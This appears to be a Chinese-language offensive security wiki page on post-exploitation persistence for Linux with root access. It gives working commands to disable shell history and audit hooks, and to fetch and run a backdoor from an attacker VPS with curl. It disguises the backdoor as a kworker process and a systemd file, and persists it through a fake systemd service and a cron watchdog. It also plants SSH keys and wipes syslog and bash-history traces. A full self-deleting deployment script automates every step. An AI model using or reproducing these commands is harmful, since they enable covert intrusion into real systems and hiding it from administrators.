Linux下简单信息隐藏与持久化-root权限 的文章封面
返回渗透 Wiki
后渗透技术栈 渗透 Wiki

Linux下简单信息隐藏与持久化-root权限

删除终端记录,下载后门,自持久化

拿到Shell

【阶段零】删除终端记录(断流)

【阶段零点五】下载后门并执行

【阶段一】systemd service 持久化

【阶段二】cron 守护

【阶段三】ssh 免密公钥(可选)

【阶段四】其他项删除

下线

命名

ELF 实体文件	/usr/lib/systemd/systemd-update	磁盘上真实的后门二进制文件
进程伪装名	[kworker/0:0]	ps aux 看到的进程名(argv[0])
Systemd 服务名	systemd-network-resync.service	systemctl 管理的服务单元
Cron 检测目标	[kworker/0:0](匹配进程名,不匹配路径)	因为 cmdline 里只有这个伪名

删除终端记录

unset HISTFILE
history -c
set +o history
export PROMPT_COMMAND=''
trap - DEBUG
  • unset HISTFILE:退出时不写历史文件,不会清空原有 .bash_history
  • history -c:清空之前内存残留历史
  • set +o history:停止记录后续命令到内存
  • export PROMPT_COMMAND='':干掉事后审计钩子
  • trap - DEBUG:干掉事前审计钩子

下载后门并执行

#下载后门
curl -s -o /tmp/.systemd-update --connect-timeout 10 http://vps/systemd
chmod 755 /tmp/.systemd-update
touch -r /usr/lib/systemd/systemd /tmp/.systemd-update 2>/dev/null

#移动至系统目录
mv /tmp/.systemd-update /usr/lib/systemd/systemd-update
touch -r /usr/lib/systemd/systemd /usr/lib/systemd/systemd-update
chmod 755 /usr/lib/systemd/systemd-update

exec -a [kworker/0:0] /usr/lib/systemd/systemd-update &

后门持久化

systemd service

我们以伪装成 systemd-network-resync.service 为例,文件路径放在 /usr/lib/systemd/system/(系统原生目录,比 /etc/systemd/system/ 更隐蔽)。

#写入配置
cat > /usr/lib/systemd/system/systemd-network-resync.service << 'EOF'
[Unit]
Description=Network Time Resynchronization
After=network.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'exec -a [kworker/0:0] /usr/lib/systemd/systemd-update'
Restart=always
RestartSec=30s
Environment=LC_ALL=C
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
EOF

#权限与时间戳伪装
chmod 644 /usr/lib/systemd/system/systemd-network-resync.service

touch -r /usr/lib/systemd/system/systemd-journald.service /usr/lib/systemd/system/systemd-network-resync.service

#重载配置与开机自启
systemctl daemon-reload
systemctl enable systemd-network-resync.service
systemctl start systemd-network-resync.service

cron守护

不要 crontab -e 写入(用户级容易被 crontab -l 看到)。 写入 /etc/cron.d/:这个目录下每个文件代表一个任务,crontab -l 看不到这里,管理员除非 ls /etc/cron.d/,否则很难发现。

echo '*/10 * * * * root /usr/bin/pgrep -f "[k]worker/0:0" > /dev/null 2>&1 || ( /usr/bin/systemctl start systemd-network-resync.service 2>/dev/null || /bin/bash -c "exec -a [kworker/0:0] /usr/lib/systemd/systemd-update" )' > /etc/cron.d/sysstat-collect

chmod 644 /etc/cron.d/sysstat-collect

touch -r /etc/crontab /etc/cron.d/sysstat-collect

ssh免密公钥(可选)

mkdir -p ~/.ssh 
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
echo "公钥" >> ~/.ssh/authorized_keys
touch -r ~/.bashrc ~/.ssh/authorized_keys

其他下载记录的定向清除

清除使用过的脚本文件

# ========== 其他痕迹清理 ==========
# 1. 删除 /tmp 下的隐藏下载缓存(如果还在)
rm -f /tmp/.systemd-update 2>/dev/null

# 2. 清除系统日志中 VPS IP 的记录(如果有)
sed -i '/vps/d' /var/log/syslog 2>/dev/null

# 3. 清除当前会话残留(暴力断尾,不触发退出钩子)
kill -9 $$ 2>/dev/null &

自动化脚本

这并不好用,需要加强

curl -s -o /tmp/setup.sh http://vps/setup.sh && bash /tmp/setup.sh

setup.sh

#!/bin/bash
# ============================================================
# 红队 Linux 后门全自动部署脚本(systemd + cron + 进程伪装)
# 适用:CentOS 7+ / Ubuntu 16+ / Debian 8+(带 systemd)
# 用法:sudo bash setup.sh
# ============================================================

# ---------- 配置区(按需修改) ----------
VPS_URL="http://vps/systemd"   # 后门下载地址
BACKDOOR_NAME="systemd-update"                # 伪装文件名
SERVICE_NAME="systemd-network-resync"         # Systemd 服务名
CRON_FILE="sysstat-collect"                   # Cron 文件名
PROCESS_ALIAS="[kworker/0:0]"                 # 进程伪装名
SSH_PUBKEY=""      # 可选:留空则跳过SSH密钥
# -----------------------------------------

set -e  # 遇错即停(防止部分执行留下半成品)

# ---- 阶段零:抹除当前会话历史 ----
unset HISTFILE
history -c
set +o history
export PROMPT_COMMAND=''
trap - DEBUG

# ---- 检查 root 权限 ----
if [ "$EUID" -ne 0 ]; then
    echo "[!] 请使用 root 权限执行此脚本(sudo bash $0)"
    exit 1
fi

# ---- 检查 systemd ----
if ! command -v systemctl &>/dev/null; then
    echo "[!] 当前系统不支持 systemd,脚本退出"
    exit 1
fi

echo "[+] 开始部署后门..."

# ---- 阶段零点五:下载并启动后门 ----
echo "[+] 下载后门..."
curl -s -o /tmp/.${BACKDOOR_NAME} --connect-timeout 10 "$VPS_URL"
chmod 755 /tmp/.${BACKDOOR_NAME}
touch -r /usr/lib/systemd/systemd /tmp/.${BACKDOOR_NAME} 2>/dev/null

mv /tmp/.${BACKDOOR_NAME} /usr/lib/systemd/${BACKDOOR_NAME}
chmod 755 /usr/lib/systemd/${BACKDOOR_NAME}
touch -r /usr/lib/systemd/systemd /usr/lib/systemd/${BACKDOOR_NAME}

# 后台启动(带进程伪装)
echo "[+] 启动后门进程..."
nohup bash -c "exec -a $PROCESS_ALIAS /usr/lib/systemd/${BACKDOOR_NAME}" >/dev/null 2>&1 &

# 清理下载痕迹
rm -f ~/.wget-hsts ~/.curlrc 2>/dev/null
sed -i "/$(echo $VPS_URL | awk -F/ '{print $3}' | cut -d: -f1)/d" /var/log/syslog 2>/dev/null

# ---- 阶段一:Systemd 服务持久化 ----
echo "[+] 配置 Systemd 服务..."
cat > /usr/lib/systemd/system/${SERVICE_NAME}.service << EOF
[Unit]
Description=Network Time Resynchronization
After=network.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'exec -a $PROCESS_ALIAS /usr/lib/systemd/${BACKDOOR_NAME}'
Restart=always
RestartSec=30s
Environment=LC_ALL=C
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
EOF

chmod 644 /usr/lib/systemd/system/${SERVICE_NAME}.service
touch -r /usr/lib/systemd/system/systemd-journald.service /usr/lib/systemd/system/${SERVICE_NAME}.service 2>/dev/null

systemctl daemon-reload
systemctl enable ${SERVICE_NAME}.service --quiet
systemctl start ${SERVICE_NAME}.service --quiet

# ---- 阶段二:Cron 看门狗 ----
echo "[+] 配置 Cron 守护..."
cat > /etc/cron.d/${CRON_FILE} << EOF
*/10 * * * * root /usr/bin/pgrep -f "$PROCESS_ALIAS" > /dev/null 2>&1 || ( /usr/bin/systemctl start ${SERVICE_NAME}.service 2>/dev/null || /bin/bash -c "exec -a $PROCESS_ALIAS /usr/lib/systemd/${BACKDOOR_NAME}" )
EOF

chmod 644 /etc/cron.d/${CRON_FILE}
touch -r /etc/crontab /etc/cron.d/${CRON_FILE}
systemctl reload crond 2>/dev/null || systemctl reload cron 2>/dev/null

# ---- 阶段三:SSH 免密公钥(可选) ----
if [ -n "$SSH_PUBKEY" ] && [ "$SSH_PUBKEY" != "ssh-rsa AAAA... your@email" ]; then
    echo "[+] 写入 SSH 公钥..."
    mkdir -p ~/.ssh
    chmod 700 ~/.ssh
    echo "$SSH_PUBKEY" >> ~/.ssh/authorized_keys
    chmod 600 ~/.ssh/authorized_keys
    touch -r ~/.bashrc ~/.ssh/authorized_keys
fi

# ---- 阶段四:最终痕迹清理 ----
echo "[+] 清理痕迹..."
rm -f /tmp/.${BACKDOOR_NAME} 2>/dev/null
# 清理系统日志中出现的 VPS IP
VPS_IP=$(echo "$VPS_URL" | awk -F/ '{print $3}' | cut -d: -f1)
sed -i "/$VPS_IP/d" /var/log/syslog 2>/dev/null
sed -i "/$VPS_IP/d" /var/log/messages 2>/dev/null

# 清理当前用户历史
if [ -f ~/.bash_history ]; then
    grep -v -E "($BACKDOOR_NAME|${SERVICE_NAME}|${CRON_FILE}|$VPS_IP)" ~/.bash_history > /tmp/hist_$$
    cat /tmp/hist_$$ > ~/.bash_history
    rm -f /tmp/hist_$$
    touch -r ~/.bashrc ~/.bash_history
fi

# ---- 自毁脚本 ----
echo "[+] 部署完成,脚本将在 3 秒后自毁并退出..."
sleep 3
rm -f "$0"  # 删除脚本自身
kill -9 $$ 2>/dev/null &  # 暴力退出当前 shell(不触发历史回写)